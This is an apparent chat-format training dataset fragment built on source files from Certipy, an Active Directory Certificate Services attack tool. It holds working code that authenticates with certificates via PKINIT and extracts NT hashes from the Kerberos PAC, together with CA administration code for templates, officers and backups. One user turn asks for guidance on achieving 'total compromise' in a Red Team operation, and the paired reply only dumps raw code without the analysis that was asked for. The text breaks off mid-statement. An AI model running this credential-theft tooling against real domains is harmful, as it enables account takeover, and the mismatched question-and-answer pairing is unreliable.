number\")\n\n # No matches found - prompt user to select from all identities\n else:\n logging.warning(f\"No identities match username '{username}'\")\n logging.info(\"Please select an identity:\")\n\n for i, (id_t, id_val) in enumerate(identities):\n u, d = cert_id_to_parts([(id_t, id_val)])\n print(\n f\" [{i}] {id_t}: {id_val!r} ({u or 'unknown'}@{d or 'unknown'})\"\n )\n\n while True:\n try:\n idx = int(input(\"> \"))\n if 0 <= idx < len(identities):\n id_type, identity = identities[idx]\n cert_username, cert_domain = cert_id_to_parts(\n [(id_type, identity)]\n )\n break\n logging.warning(\"Invalid index\")\n except ValueError:\n logging.warning(\"Invalid input, enter a number\")\n\n # Case 2: No username provided - prompt user to select an identity\n else:\n logging.info(\"Please select an identity:\")\n\n for i, (id_t, id_val) in enumerate(identities):\n u, d = cert_id_to_parts([(id_t, id_val)])\n print(\n f\" [{i}] {id_t}: {id_val!r} ({u or 'unknown'}@{d or 'unknown'})\"\n )\n\n while True:\n try:\n idx = int(input(\"> \"))\n if 0 <= idx < len(identities):\n id_type, identity = identities[idx]\n cert_username, cert_domain = cert_id_to_parts(\n [(id_type, identity)]\n )\n break\n logging.warning(\"Invalid index\")\n except ValueError:\n logging.warning(\"Invalid input, enter a number\")\n\n # Resolve username and domain\n if not username:\n username = cert_username\n\n if not domain:\n domain = cert_domain\n\n # Check for mismatches between certificate and provided identity\n if (\n self._check_identity_mismatches(\n username, domain, cert_username, cert_domain\n )\n is False\n ):\n return False\n\n # Ensure we have both username and domain\n if not all([username, domain]) and not is_key_credential:\n logging.error(\n \"Username or domain is not specified, and identity \"\n \"information was not found in the certificate\"\n )\n return False\n\n if not username or not domain:\n logging.error(f\"Username or domain is invalid: {username}@{domain}\")\n return False\n\n # Normalize domain and username\n domain = domain.lower()\n username = username.lower()\n upn = f\"{username}@{domain}\"\n\n # Resolve target IP if needed\n if self.target and self.target.resolver and self.target.target_ip is None:\n self.target.target_ip = self.target.resolver.resolve(domain)\n\n logging.info(f\"Using principal: {upn!r}\")\n\n # Perform Kerberos authentication\n return self.kerberos_authentication(\n username,\n domain,\n is_key_credential,\n id_type,\n identity,\n object_sid,\n upn,\n )\n\n def _check_identity_mismatches(\n self,\n username: Optional[str],\n domain: Optional[str],\n cert_username: Optional[str],\n cert_domain: Optional[str],\n ) -> Optional[bool]:\n \"\"\"\n Check for mismatches between provided identity and certificate identity.\n\n Args:\n username: Provided username\n domain: Provided domain\n cert_username: Username from certificate\n cert_domain: Domain from certificate\n\n Returns:\n None if checks passed, False if should abort\n \"\"\"\n # Check username mismatch (accounting for computer accounts with $)\n if (\n cert_username\n and username\n and cert_username.lower() != username.lower()\n and cert_username.lower() + \"$\" != username.lower()\n ):\n logging.warning(\n f\"The provided username does not match the identity \"\n f\"found in the certificate: {username!r} - {cert_username!r}\"\n )\n res = input(\"Do you want to continue? (Y/n): \")\n if res.strip().lower() == \"n\":\n return False\n\n # Check domain mismatch (accounting for subdomains)\n if (\n cert_domain\n and domain\n and domain.lower() != cert_domain.lower()\n and not cert_domain.lower().startswith(domain.lower().rstrip(\".\") + \".\")\n ):\n logging.warning(\n f\"The provided domain does not match the identity \"\n f\"found in the certificate: {domain!r} - {cert_domain!r}\"\n )\n res = input(\"Do you want to continue? (Y/n): \")\n if res.strip().lower() == \"n\":\n return False\n\n return None\n\n def ldap_authentication(self, domain: Optional[str] = None) -> bool:\n \"\"\"\n Authenticate to LDAP using a certificate.\n\n Args:\n domain: Domain to authenticate to\n\n Returns:\n True if successful, False otherwise\n \"\"\"\n if self.key is None:\n raise ValueError(\"Private key is not specified and no PFX was provided\")\n if self.cert is None:\n raise ValueError(\"Certificate is not specified and no PFX was provided\")\n\n ldap_conn = LDAPConnection(self.target, (self.cert, self.key))\n\n try:\n ldap_conn.schannel_connect()\n except Exception as e:\n logging.error(f\"Failed to connect to LDAP server: {e}\")\n handle_error()\n return False\n\n if ldap_conn.default_path is None:\n logging.error(\"Failed to retrieve default naming context\")\n return False\n\n domain_dumper = DummyDomainDumper(ldap_conn.default_path)\n ldap_shell = LdapShell(sys, domain_dumper, ldap_conn.ldap_conn)\n\n try:\n ldap_shell.cmdloop()\n except KeyboardInterrupt:\n print(\"Bye!\\n\")\n\n return True\n\n def kerberos_authentication(\n self,\n username: str,\n domain: str,\n is_key_credential: bool = False,\n id_type: Optional[str] = None,\n identity: Optional[str] = None,\n object_sid: Optional[str] = None,\n upn: Optional[str] = None,\n ) -> Union[str, bool, None]:\n \"\"\"\n Authenticate to Kerberos using PKINIT with a certificate.\n\n Args:\n username: Username to authenticate as\n domain: Domain to authenticate to\n is_key_credential: Whether we're using a key credential\n id_type: Type of identity in certificate\n identity: identity value from certificate\n object_sid: SID from certificate\n upn: User Principal Name\n\n Returns:\n NT hash if extracted, True if successful, False otherwise\n \"\"\"\n if self.key is None:\n raise ValueError(\"Private key is not specified and no PFX was provided\")\n\n if self.cert is None:\n raise ValueError(\"Certificate is not specified and no PFX was provided\")\n\n if not isinstance(self.key, rsa.RSAPrivateKey):\n raise ValueError(\n \"Currently only RSA private keys are supported. Try using -ldap-shell instead\"\n )\n\n # Create AS-REQ for PKINIT\n as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert)\n\n # Resolve target IP if needed\n if self.target and self.target.resolver and self.target.target_ip is None:\n self.target.target_ip = self.target.resolver.resolve(domain)\n\n logging.info(\"Trying to get TGT...\")\n logging.debug(f\"Sending AS-REQ to KDC {domain} ({self.target.target_ip})\")\n\n try:\n # Send Kerberos AS-REQ\n tgt = sendReceive(as_req, domain, self.target.target_ip)\n except KerberosError as e:\n # Handle Kerberos errors with helpful messages\n if e.getErrorCode() not in KRB5_ERROR_MESSAGES:\n logging.error(f\"Got unknown Kerberos error: {e.getErrorCode():#x}\")\n return False\n\n if \"KDC_ERR_CLIENT_NAME_MISMATCH\" in str(e) and not is_key_credential:\n logging.error(\n f\"Name mismatch between certificate and user {username!r}\"\n )\n if id_type is not None:\n logging.error(\n f\"Verify that the username {username!r} matches the certificate {id_type}: {identity}\"\n )\n elif \"KDC_ERR_WRONG_REALM\" in str(e) and not is_key_credential:\n logging.error(f\"Wrong domain name specified {domain!r}\")\n if id_type is not None:\n logging.error(\n f\"Verify that the domain {domain!r} matches the certificate {id_type}: {identity}\"\n )\n elif \"KDC_ERR_CERTIFICATE_MISMATCH\" in str(e) and not is_key_credential:\n logging.error(\n f\"Object SID mismatch between certificate and user {username!r}\"\n )\n if object_sid is not None:\n logging.error(\n f\"Verify that user {username!r} has object SID {object_sid!r}\"\n )\n\n elif \"KDC_ERR_INCONSISTENT_KEY_PURPOSE\" in str(e):\n logging.error(\"Certificate is not valid for client authentication\")\n logging.error(\n \"Check the certificate template and ensure it has the correct EKU(s)\"\n )\n logging.error(\n \"If you recently changed the certificate template, wait a few minutes for the change to propagate\"\n )\n else:\n logging.error(f\"Got error while trying to request TGT: {e}\")\n handle_error()\n\n logging.error(\"See the wiki for more information\")\n\n return False\n\n logging.info(\"Got TGT\")\n\n # Process AS-REP\n as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0]\n\n # Extract PA-PK-AS-REP\n for pa in as_rep[\"padata\"]:\n if pa[\"padata-type\"] == 17: # PA-PK-AS-REP\n pk_as_rep = PaPkAsRep.load(bytes(pa[\"padata-value\"])).native\n break\n else:\n logging.error(\"PA_PK_AS_REP was not found in AS_REP\")\n return False\n\n # Process Diffie-Hellman key exchange data\n ci = cms.ContentInfo.load(pk_as_rep[\"dhSignedData\"]).native\n sd = ci[\"content\"]\n key_info = sd[\"encap_content_info\"]\n\n if key_info[\"content_type\"] != \"1.3.6.1.5.2.3.2\":\n logging.error(\"Unexpected value for key info content type\")\n return False\n\n # Get public key from KDC\n auth_data = KDCDHKeyInfo.load(key_info[\"content\"]).native\n pub_key = int.from_bytes(\n core.BitString(auth_data[\"subjectPublicKey\"]).dump()[7:],\n \"big\",\n signed=False,\n )\n\n # Complete Diffie-Hellman exchange\n shared_key = diffie.exchange(pub_key)\n server_nonce = pk_as_rep[\"serverDHNonce\"]\n full_key = shared_key + diffie.dh_nonce + server_nonce\n\n # Derive encryption key\n etype = as_rep[\"enc-part\"][\"etype\"]\n cipher = _enctype_table[etype]\n\n if etype == EncType.AES256:\n t_key = truncate_key(full_key, 32)\n elif etype == EncType.AES128:\n t_key = truncate_key(full_key, 16)\n else:\n logging.error(\"Unexpected encryption type in AS_REP\")\n return False\n\n # Decrypt AS-REP\n key = Key(cipher.enctype, t_key)\n enc_data = as_rep[\"enc-part\"][\"cipher\"]\n dec_data = cipher.decrypt(key, 3, enc_data)\n enc_as_rep_part = decoder.decode(dec_data, asn1Spec=EncASRepPart())[0]\n\n # Extract session key\n cipher = _enctype_table[int(enc_as_rep_part[\"key\"][\"keytype\"])]\n session_key = Key(cipher.enctype, bytes(enc_as_rep_part[\"key\"][\"keyvalue\"]))\n\n # Create credential cache\n ccache = CCache()\n ccache.fromTGT(tgt, key, None)\n krb_cred = ccache.toKRBCRED()\n\n # Print ticket if requested\n if self.print:\n logging.info(\"Ticket:\")\n print(base64.b64encode(krb_cred).decode())\n\n # Save ticket to file if requested\n if not self.no_save:\n if self.kirbi:\n kirbi_name = f\"{username.rstrip('$')}.kirbi\"\n logging.info(f\"Saving Kirbi file to {kirbi_name!r}\")\n saved_path = try_to_save_file(ccache.toKRBCRED(), kirbi_name)\n logging.info(f\"Wrote Kirbi file to {saved_path!r}\")\n else:\n self.ccache_name = f\"{username.rstrip('$')}.ccache\"\n logging.info(f\"Saving credential cache to {self.ccache_name!r}\")\n saved_path = try_to_save_file(ccache.getData(), self.ccache_name)\n logging.info(f\"Wrote credential cache to {saved_path!r}\")\n\n # Extract NT hash if requested\n if not self.no_hash:\n logging.info(f\"Trying to retrieve NT hash for {username!r}\")\n\n try:\n # Create AP-REQ for User-to-User (U2U) authentication\n ap_req = AP_REQ()\n ap_req[\"pvno\"] = 5\n ap_req[\"msg-type\"] = e2i(constants.ApplicationTagNumbers.AP_REQ)\n ap_req[\"ap-options\"] = constants.encodeFlags([])\n\n # Use received ticket\n ticket = Ticket()\n ticket = ticket.from_asn1(as_rep[\"ticket\"])\n seq_set(ap_req, \"ticket\", ticket.to_asn1)\n\n # Create authenticator for AP-REQ\n authenticator = Authenticator()\n authenticator[\"authenticator-vno\"] = 5\n authenticator[\"crealm\"] = bytes(as_rep[\"crealm\"])\n\n client_name = Principal()\n client_name = client_name.from_asn1(as_rep, \"crealm\", \"cname\")\n seq_set(authenticator, \"cname\", client_name.components_to_asn1)\n\n # Set time in authenticator\n now = datetime.datetime.now(datetime.timezone.utc)\n authenticator[\"cusec\"] = now.microsecond\n authenticator[\"ctime\"] = KerberosTime.to_asn1(now)\n\n # Encrypt authenticator with session key\n encoded_authenticator = encoder.encode(authenticator)\n encrypted_encoded_authenticator = cipher.encrypt(\n session_key, 7, encoded_authenticator, None\n )\n\n ap_req[\"authenticator\"] = noValue\n ap_req[\"authenticator\"][\"etype\"] = cipher.enctype\n ap_req[\"authenticator\"][\"cipher\"] = encrypted_encoded_authenticator\n\n encoded_ap_req = encoder.encode(ap_req)\n\n # Create TGS-REQ with U2U flag\n tgs_req = TGS_REQ()\n tgs_req[\"pvno\"] = 5\n tgs_req[\"msg-type\"] = e2i(constants.ApplicationTagNumbers.TGS_REQ)\n\n # Add AP-REQ as PA data\n tgs_req[\"padata\"] = noValue\n tgs_req[\"padata\"][0] = noValue\n tgs_req[\"padata\"][0][\"padata-type\"] = e2i(\n constants.PreAuthenticationDataTypes.PA_TGS_REQ\n )\n\n tgs_req[\"padata\"][0][\"padata-value\"] = encoded_ap_req\n\n req_body = seq_set(tgs_req, \"req-body\")\n\n # Set KDC options for U2U\n opts = [\n e2i(constants.KDCOptions.forwardable),\n e2i(constants.KDCOptions.renewable),\n e2i(constants.KDCOptions.canonicalize),\n e2i(constants.KDCOptions.enc_tkt_in_skey), # This enables U2U\n e2i(constants.KDCOptions.forwardable),\n e2i(constants.KDCOptions.renewable_ok),\n ]\n req_body[\"kdc-options\"] = constants.encodeFlags(opts)\n\n # Request a ticket to self (U2U)\n server_name = Principal(\n username, type=e2i(constants.PrincipalNameType.NT_UNKNOWN)\n )\n seq_set(req_body, \"sname\", server_name.components_to_asn1)\n req_body[\"realm\"] = str(as_rep[\"crealm\"])\n\n # Set validity period\n now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(\n days=1\n )\n req_body[\"till\"] = KerberosTime.to_asn1(now)\n req_body[\"nonce\"] = getrandbits(31)\n\n # Request supported encryption types\n seq_set_iter(\n req_body,\n \"etype\",\n (int(cipher.enctype), e2i(constants.EncryptionTypes.rc4_hmac)),\n )\n\n # Include our own ticket\n ticket_asn1 = ticket.to_asn1(TicketAsn1())\n seq_set_iter(req_body, \"additional-tickets\", (ticket_asn1,))\n\n # Send TGS-REQ\n message = encoder.encode(tgs_req)\n tgs = sendReceive(message, domain, self.target.target_ip)\n tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]\n\n # Decrypt ticket from TGS-REP\n ciphertext = tgs[\"ticket\"][\"enc-part\"][\"cipher\"]\n new_cipher = _enctype_table[int(tgs[\"ticket\"][\"enc-part\"][\"etype\"])]\n plaintext = new_cipher.decrypt(session_key, 2, ciphertext)\n\n # Create special key using the t_key\n special_key = Key(18, t_key)\n\n # Extract PAC from ticket\n data = plaintext\n enc_ticket_part = decoder.decode(data, asn1Spec=EncTicketPart())[0]\n ad_if_relevant = decoder.decode(\n enc_ticket_part[\"authorization-data\"][0][\"ad-data\"],\n asn1Spec=AD_IF_RELEVANT(),\n )[0]\n pac_type = PACTYPE(ad_if_relevant[0][\"ad-data\"].asOctets())\n buff = pac_type[\"Buffers\"]\n\n # Default hash values\n nt_hash = None\n lm_hash = \"aad3b435b51404eeaad3b435b51404ee\"\n\n # Look for credential info in PAC\n for _ in range(pac_type[\"cBuffers\"]):\n info_buffer = PAC_INFO_BUFFER(buff)\n data = pac_type[\"Buffers\"][info_buffer[\"Offset\"] - 8 :][\n : info_buffer[\"cbBufferSize\"]\n ]\n\n # PAC_CREDENTIAL_INFO contains the hashes\n if info_buffer[\"ulType\"] == 2: # PAC_CREDENTIAL_INFO\n cred_info = PAC_CREDENTIAL_INFO(data)\n new_cipher = _enctype_table[cred_info[\"EncryptionType\"]]\n\n # Decrypt the credentials with the special key\n out = new_cipher.decrypt(\n special_key, 16, cred_info[\"SerializedData\"]\n )\n\n # Parse credential data\n type1 = TypeSerialization1(out)\n new_data = out[len(type1) + 4 :]\n pcc = PAC_CREDENTIAL_DATA(new_data)\n\n # Extract NTLM hashes\n for cred in pcc[\"Credentials\"]:\n cred_structs = NTLM_SUPPLEMENTAL_CREDENTIAL(\n b\"\".join(cred[\"Credentials\"])\n )\n if any(cred_structs[\"LmPassword\"]):\n lm_hash = cred_structs[\"LmPassword\"].hex()\n nt_hash = cred_structs[\"NtPassword\"].hex()\n break\n break\n\n # Move to next buffer\n buff = buff[len(info_buffer) :]\n else:\n logging.error(\"Could not find credentials in PAC\")\n return False\n\n # Store hashes in object\n self.lm_hash = lm_hash\n self.nt_hash = nt_hash\n\n # Display hash information\n if not is_key_credential:\n logging.info(f\"Got hash for {upn!r}: {lm_hash}:{nt_hash}\")\n\n # Return the NT hash\n return nt_hash\n\n except Exception as e:\n logging.error(f\"Failed to extract NT hash: {e}\")\n handle_error()\n return False\n\n # Authentication succeeded\n return True\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the 'auth' command.\n\n Args:\n options: Command-line arguments\n \"\"\"\n # Ensure we don't try to use password authentication\n options.no_pass = True\n\n # Create target from options\n target = Target.from_options(options, dc_as_target=True, require_username=False)\n\n # Create authenticator and perform authentication\n try:\n authenticate = Authenticate(target=target, **vars(options))\n result = authenticate.authenticate()\n\n if result is False:\n sys.exit(1)\n except Exception as e:\n logging.error(f\"Authentication failed: {e}\")\n handle_error()\n sys.exit(1)\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/ca.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate Authority (CA) Management Module for Certipy.\n\nThis module provides functionality to interact with Active Directory Certificate Services (AD CS):\n- CA certificate and security management\n- Certificate template enablement/disablement\n- Certificate request approval/denial\n- Officer and manager role assignment\n- CA backup/restore operations\n\nIt serves as a comprehensive tool for CA administration and security assessment.\n\"\"\"\n\nimport argparse\nimport copy\nimport time\nfrom typing import Any, List, Optional, Union\n\nfrom impacket.dcerpc.v5 import rpcrt, rrp, scmr\nfrom impacket.dcerpc.v5.dcom.oaut import VARIANT\nfrom impacket.dcerpc.v5.dcomrt import DCOMANSWER, DCOMCALL, IRemUnknown, IRemUnknown2\nfrom impacket.dcerpc.v5.dtypes import DWORD, LONG, LPWSTR, PBYTE, ULONG, WSTR\nfrom impacket.dcerpc.v5.ndr import NDRSTRUCT\nfrom impacket.dcerpc.v5.nrpc import checkNullString\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException\nfrom impacket.ldap import ldaptypes\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.uuid import string_to_bin, uuidtup_to_bin\n\nfrom certipy.lib.certificate import NameOID, create_pfx, der_to_cert, load_pfx, x509\nfrom certipy.lib.constants import CertificateAuthorityRights\nfrom certipy.lib.errors import handle_error, translate_error_code\nfrom certipy.lib.files import try_to_save_file\nfrom certipy.lib.kerberos import get_tgs\nfrom certipy.lib.ldap import LDAPConnection, LDAPEntry\nfrom certipy.lib.logger import logging\nfrom certipy.lib.rpc import (\n get_dce_rpc,\n get_dce_rpc_from_string_binding,\n get_dcom_connection,\n)\nfrom certipy.lib.security import CASecurity\nfrom certipy.lib.target import Target\n\nfrom .template import Template\n\n# Module name\nNAME = \"ca\"\n\n# Constants for CA operations\nIF_NOREMOTEICERTADMINBACKUP = 0x40\nCR_PROP_TEMPLATES = 0x0000001D\n\n# DCOM constants for CA interfaces\nCLSID_ICertAdminD = string_to_bin(\"d99e6e73-fc88-11d0-b498-00a0c90312f3\")\nCLSID_CCertRequestD = string_to_bin(\"d99e6e74-fc88-11d0-b498-00a0c90312f3\")\nIID_ICertAdminD = uuidtup_to_bin((\"d99e6e71-fc88-11d0-b498-00a0c90312f3\", \"0.0\"))\nIID_ICertAdminD2 = uuidtup_to_bin((\"7fe0d935-dda6-443f-85d0-1cfb58fe41dd\", \"0.0\"))\nIID_ICertRequestD2 = uuidtup_to_bin((\"5422fd3a-d4b8-4cef-a12e-e87d4ca22e90\", \"0.0\"))\n\n\n# =========================================================================\n# Exception and Structure Definitions\n# =========================================================================\n\n\nclass DCERPCSessionError(DCERPCException):\n \"\"\"\n Custom exception class for CA session errors that provides more meaningful error messages.\n \"\"\"\n\n def __init__(\n self, error_string: Any = None, error_code: Any = None, packet: Any = None\n ):\n DCERPCException.__init__(self, error_string, error_code, packet)\n\n def __str__(self):\n self.error_code &= 0xFFFFFFFF # type: ignore\n error_msg = translate_error_code(self.error_code)\n return f\"CASessionError: {error_msg}\"\n\n\nclass CERTTRANSBLOB(NDRSTRUCT):\n \"\"\"\n Structure representing certificate transfer blob for RPC calls.\n \"\"\"\n\n structure = (\n (\"cb\", ULONG),\n (\"pb\", PBYTE),\n )\n\n\n# =========================================================================\n# RPC Interface Definitions for CA Operations\n# =========================================================================\n\n\nclass ICertAdminDResubmitRequest(DCOMCALL):\n \"\"\"\n RPC interface for resubmitting certificate requests.\n Used to approve pending requests.\n \"\"\"\n\n opnum = 5\n structure = (\n (\"pwszAuthority\", LPWSTR),\n (\"pdwRequestId\", DWORD),\n (\"pwszExtensionName\", LPWSTR),\n )\n\n\nclass ICertAdminDResubmitRequestResponse(DCOMANSWER):\n structure = ((\"pdwDisposition\", ULONG),)\n\n\nclass ICertAdminDDenyRequest(DCOMCALL):\n \"\"\"\n RPC interface for denying certificate requests.\n \"\"\"\n\n opnum = 6\n structure = (\n (\"pwszAuthority\", LPWSTR),\n (\"pdwRequestId\", DWORD),\n )\n\n\nclass ICertAdminDDenyRequestResponse(DCOMANSWER):\n structure = ((\"ErrorCode\", ULONG),)\n\n\nclass ICertRequestD2GetCAProperty(DCOMCALL):\n \"\"\"\n RPC interface for retrieving CA properties.\n \"\"\"\n\n opnum = 7\n structure = (\n (\"pwszAuthority\", LPWSTR),\n (\"PropId\", LONG),\n (\"PropIndex\", LONG),\n (\"PropType\", LONG),\n )\n\n\nclass ICertRequestD2GetCAPropertyResponse(DCOMANSWER):\n structure = ((\"pctbPropertyValue\", CERTTRANSBLOB),)\n\n\nclass ICertAdminD2GetCAProperty(DCOMCALL):\n \"\"\"\n RPC interface for retrieving CA properties.\n \"\"\"\n\n opnum = 32\n structure = (\n (\"pwszAuthority\", LPWSTR),\n (\"PropId\", LONG),\n (\"PropIndex\", LONG),\n (\"PropType\", LONG),\n )\n\n\nclass ICertAdminD2GetCAPropertyResponse(DCOMANSWER):\n structure = ((\"pctbPropertyValue\", CERTTRANSBLOB),)\n\n\nclass ICertAdminD2SetCAProperty(DCOMCALL):\n \"\"\"\n RPC interface for setting CA properties.\n \"\"\"\n\n opnum = 33\n structure = (\n (\"pwszAuthority\", LPWSTR),\n (\"PropId\", LONG),\n (\"PropIndex\", LONG),\n (\"PropType\", LONG),\n (\"pctbPropertyValue\", CERTTRANSBLOB),\n )\n\n\nclass ICertAdminD2SetCAPropertyResponse(DCOMANSWER):\n structure = ((\"ErrorCode\", ULONG),)\n\n\nclass ICertAdminD2GetCASecurity(DCOMCALL):\n \"\"\"\n RPC interface for retrieving CA security settings.\n \"\"\"\n\n opnum = 36\n structure = ((\"pwszAuthority\", LPWSTR),)\n\n\nclass ICertAdminD2GetCASecurityResponse(DCOMANSWER):\n structure = ((\"pctbSD\", CERTTRANSBLOB),)\n\n\nclass ICertAdminD2SetCASecurity(DCOMCALL):\n \"\"\"\n RPC interface for setting CA security settings.\n \"\"\"\n\n opnum = 37\n structure = ((\"pwszAuthority\", LPWSTR), (\"pctbSD\", CERTTRANSBLOB))\n\n\nclass ICertAdminD2SetCASecurityResponse(DCOMANSWER):\n structure = ((\"ErrorCode\", LONG),)\n\n\nclass ICertAdminD2GetConfigEntry(DCOMCALL):\n \"\"\"\n RPC interface for retrieving CA configuration entries.\n \"\"\"\n\n opnum = 44\n structure = (\n (\"pwszAuthority\", LPWSTR),\n (\"pwszNodePath\", LPWSTR),\n (\"pwszEntry\", WSTR),\n )\n\n\nclass ICertAdminD2GetConfigEntryResponse(DCOMANSWER):\n structure = ((\"pVariant\", VARIANT),)\n\n\n# =========================================================================\n# CA Interface Classes\n# =========================================================================\n\n\nclass ICertCustom(IRemUnknown):\n \"\"\"\n Base class for custom certificate service interfaces.\n \"\"\"\n\n def request(self, req: Any, *args, **kwargs): # type: ignore\n \"\"\"\n Send a request to the CA service.\n\n Args:\n req: Request object\n *args: Additional arguments\n **kwargs: Additional keyword arguments\n\n Returns:\n Response from the CA service\n\n Raises:\n DCERPCException: If the RPC call fails\n \"\"\"\n req[\"ORPCthis\"] = self.get_cinstance().get_ORPCthis() # type: ignore\n req[\"ORPCthis\"][\"flags\"] = 0\n self.connect(self._iid)\n dce = self.get_dce_rpc()\n try:\n resp = dce.request(req, self.get_iPid(), *args, **kwargs)\n except Exception as e:\n if str(e).find(\"RPC_E_DISCONNECTED\") >= 0:\n msg = str(e) + \"\\n\"\n msg += (\n \"DCOM keep-alive pinging it might not be working as expected. You \"\n \"can't be idle for more than 14 minutes!\\n\"\n )\n msg += \"You should exit the app and start again\\n\"\n raise DCERPCException(msg)\n else:\n raise\n return resp\n\n\nclass ICertAdminD(ICertCustom):\n \"\"\"\n Interface for the ICertAdminD service.\n This is the basic certificate administration interface.\n \"\"\"\n\n def __init__(self, interface: IRemUnknown2):\n super().__init__(interface)\n self._iid = IID_ICertAdminD\n\n\nclass ICertAdminD2(ICertCustom):\n \"\"\"\n Interface for the ICertAdminD2 service.\n This is the extended certificate administration interface.\n \"\"\"\n\n def __init__(self, interface: IRemUnknown2):\n super().__init__(interface)\n self._iid = IID_ICertAdminD2\n\n\nclass ICertRequestD2(ICertCustom):\n \"\"\"\n Interface for the ICertRequestD2 service.\n This interface is used for certificate requests.\n \"\"\"\n\n def __init__(self, interface: IRemUnknown2):\n super().__init__(interface)\n self._iid = IID_ICertRequestD2\n\n\n# =========================================================================\n# Main CA Class\n# =========================================================================\n\n\nclass CA:\n \"\"\"\n Main class for interacting with Certificate Authorities.\n\n This class provides methods for:\n - Retrieving CA certificates and configuration\n - Managing certificate templates\n - Approving/denying certificate requests\n - Managing CA officers and managers\n - Backing up CA certificates and keys\n \"\"\"\n\n def __init__(\n self,\n target: Target,\n ca: Optional[str] = None,\n template: Optional[str] = None,\n officer: Optional[str] = None,\n request_id: Optional[int] = None,\n connection: Optional[LDAPConnection] = None,\n scheme: str = \"ldaps\",\n dynamic: bool = False,\n config: Optional[str] = None,\n timeout: int = 5,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize CA management object.\n\n Args:\n target: Target information (hostname, credentials, etc.)\n ca: CA name\n template: Certificate template name\n officer: Officer username\n request_id: Certificate request ID\n connection: Existing LDAP connection to reuse\n scheme: LDAP scheme (ldap or ldaps)\n dc_host: Domain controller hostname\n dynamic: Use dynamic port allocation\n config: CA configuration string\n timeout: Connection timeout in seconds\n **kwargs: Additional arguments\n \"\"\"\n self.target = target\n self.request_id = request_id\n self.ca = ca\n self.officer = officer\n self.template = template\n self.scheme = scheme\n self.dynamic = dynamic\n self.config = config\n self.timeout = timeout\n self.kwargs = kwargs\n\n # Initialize connection objects\n self._connection: Optional[LDAPConnection] = connection\n self._cert_admin: Optional[ICertAdminD] = None\n self._cert_admin2: Optional[ICertAdminD2] = None\n self._cert_request2: Optional[ICertRequestD2] = None\n self._rrp_dce = None\n\n # =========================================================================\n # Connection Properties and Methods\n # =========================================================================\n\n @property\n def connection(self) -> LDAPConnection:\n \"\"\"\n Get or create an LDAP connection to the domain.\n\n Returns:\n Active LDAP connection\n\n Raises:\n ValueError: If target resolution fails\n \"\"\"\n if self._connection:\n return self._connection\n\n target = copy.copy(self.target)\n\n if target.do_kerberos:\n if self.target.dc_host is None:\n raise Exception(\n \"Kerberos auth requires DNS name of the target DC. Use -dc-host.\"\n )\n\n target.remote_name = self.target.dc_host\n\n target.target_ip = target.dc_ip\n\n self._connection = LDAPConnection(target)\n self._connection.connect()\n\n return self._connection\n\n @property\n def cert_admin(self) -> ICertAdminD:\n \"\"\"\n Get or create an ICertAdminD interface.\n\n Returns:\n ICertAdminD interface\n \"\"\"\n if self._cert_admin is not None:\n return self._cert_admin\n\n dcom = get_dcom_connection(self.target)\n interface = dcom.CoCreateInstanceEx(CLSID_ICertAdminD, IID_ICertAdminD)\n interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore\n self._cert_admin = ICertAdminD(interface)\n return self._cert_admin\n\n @property\n def cert_admin2(self) -> ICertAdminD2:\n \"\"\"\n Get or create an ICertAdminD2 interface.\n\n Returns:\n ICertAdminD2 interface\n \"\"\"\n if self._cert_admin2 is not None:\n return self._cert_admin2\n\n dcom = get_dcom_connection(self.target)\n interface = dcom.CoCreateInstanceEx(CLSID_ICertAdminD, IID_ICertAdminD2)\n interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore\n self._cert_admin2 = ICertAdminD2(interface)\n\n return self._cert_admin2\n\n @property\n def cert_request2(self) -> ICertRequestD2:\n \"\"\"\n Get or create an ICertRequestD2 interface.\n\n Returns:\n ICertRequestD2 interface\n \"\"\"\n if self._cert_request2 is not None:\n return self._cert_request2\n\n dcom = get_dcom_connection(self.target)\n interface = dcom.CoCreateInstanceEx(CLSID_CCertRequestD, IID_ICertRequestD2)\n interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore\n self._cert_request2 = ICertRequestD2(interface)\n\n return self._cert_request2\n\n @property\n def rrp_dce(self):\n \"\"\"\n Get or create a connection to the remote registry service.\n\n Returns:\n RRP DCE/RPC connection or None if connection fails\n \"\"\"\n if self._rrp_dce is not None:\n return self._rrp_dce\n\n dce = get_dce_rpc_from_string_binding(\n \"ncacn_np:445[\\\\pipe\\\\winreg]\", self.target, timeout=self.target.timeout\n )\n\n # Try to connect up to 3 times (registry service might need to start)\n for _ in range(3):\n try:\n dce.connect()\n _ = dce.bind(rrp.MSRPC_UUID_RRP)\n logging.debug(\n f\"Connected to remote registry at {self.target.remote_name!r} ({self.target.target_ip!r})\"\n )\n break\n except Exception as e:\n if \"STATUS_PIPE_NOT_AVAILABLE\" in str(e):\n logging.warning(\n \"Failed to connect to remote registry. Service should be starting now. Trying again...\"\n )\n time.sleep(1)\n else:\n logging.error(f\"Failed to connect to remote registry: {e}\")\n handle_error()\n return None\n else:\n logging.warning(\"Failed to connect to remote registry after 3 attempts\")\n return None\n\n self._rrp_dce = dce\n return self._rrp_dce\n\n # =========================================================================\n # CA Certificate and Configuration Methods\n # =========================================================================\n\n def get_exchange_certificate(self) -> x509.Certificate:\n \"\"\"\n Get the CA exchange certificate.\n\n Returns:\n CA exchange certificate\n\n Raises:\n Exception: If the certificate retrieval fails\n \"\"\"\n request = ICertRequestD2GetCAProperty()\n request[\"pwszAuthority\"] = checkNullString(self.ca)\n request[\"PropId\"] = 0x0000000F # Exchange certificate property ID\n request[\"PropIndex\"] = 0\n request[\"PropType\"] = 0x00000003 # Binary data type\n\n resp = 